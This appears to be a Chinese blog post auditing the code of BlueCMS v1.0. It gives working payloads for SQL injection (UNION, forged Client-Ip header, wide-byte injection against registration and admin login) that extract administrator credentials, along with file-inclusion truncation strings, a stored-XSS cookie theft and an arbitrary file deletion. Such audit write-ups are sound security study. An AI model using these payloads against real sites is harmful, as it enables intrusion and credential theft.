bluecmsv1.0代码审计

初入代码审计,先用最朴素方法,从最简单的cms开始审计吧。

掏出seay一顿撸。

一 ad_js.php存在sql注入

参数没有加单引号保护,即使包含了require_once dirname(__FILE__) . '/include/common.inc.php'; 网站配置文件,对传入的参数

进行了统一gpc转义处理

get_magic_quotes_gpc函数作用
if(!get_magic_quotes_gpc())//如果php配置中没有开启gpc转义配置,则在此进行转义
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

但是此处没有加单引号过滤。

继续跟踪到getone函数

    function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

只是简单的查询语句,没有加过滤。

?ad_id=1 union select 1,2,3,4,5,6,7 #

ctrl+u可以看到显示位。

二 commenr.php头部sql注入漏洞

function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

http头部可以伪造

配置文件中对$*post、$*get、$*cookies和$*request统一进行gpc处理,但是遗漏了$_SERVER。而且网站恰恰通过该变量获取ip地址,因此我们就可以对ip通过client-ip或x-forwarded-for等进行伪造。

查看哪些地方用了这个危险函数。

comment.php 文件中有

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
             VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

发布新闻之后评论一下抓包。

 截断调试。

添加请求头 Client-Ip: test

 确实是没有过滤的被插入到sql语句中。

构造poc

1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

 三 文件包含漏洞

user.php存在此漏洞

全文追踪

还有addslashes_deep的过滤,但是这是无法防住文件包含的。

00截断(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off )

点号截断(只适用于windows)(php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次测试长度需要大于269)

./截断 (php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次测试长度需要大于269)

配合文件上传包含图片马getshell。

四 存储xss

用户注册时候邮箱,构造xss

 后台可以弹出xss盗取cookie

 五 用户注册存在宽字节sql注入

构造payload

referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg

注意注释符,可以将剩下来的那部分语句直接给注释掉,不用考虑怎么闭合,也可以像ip伪造一样不用注释符,考虑闭合。

六  后台登录存在宽字节注入

admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login
admin%df'or 1=1#直接放在bp中 放在登录框在传输时%会被转义成%25,也就是%df'成了%25df%5c,MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符。

七 任意文件删除
user.php任意文件删除,对于传入的face_pic3没有过滤。
if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相对路径地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }
BLUE_ROOT是当前文件所在路径。
echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:www	est.php 

echo dirname(__FILE__); // 取得当前文件所在的绝对目录,结果:D:www

echo dirname(dirname(__FILE__)); //取得当前文件的上一层目录名,结果:D:
strstrpos() 函数查找字符串在另一字符串中第一次出现的位置。
require_once dirname(__FILE__) . '/include/common.inc.php';

# common.inc.php
define('BLUE_ROOT',str_replace("\","/",substr(dirname(__FILE__),0,-7)));
传入face_pic3值为文件名即可删除任意文件。

原文地址:https://www.cnblogs.com/akger/p/15133825.html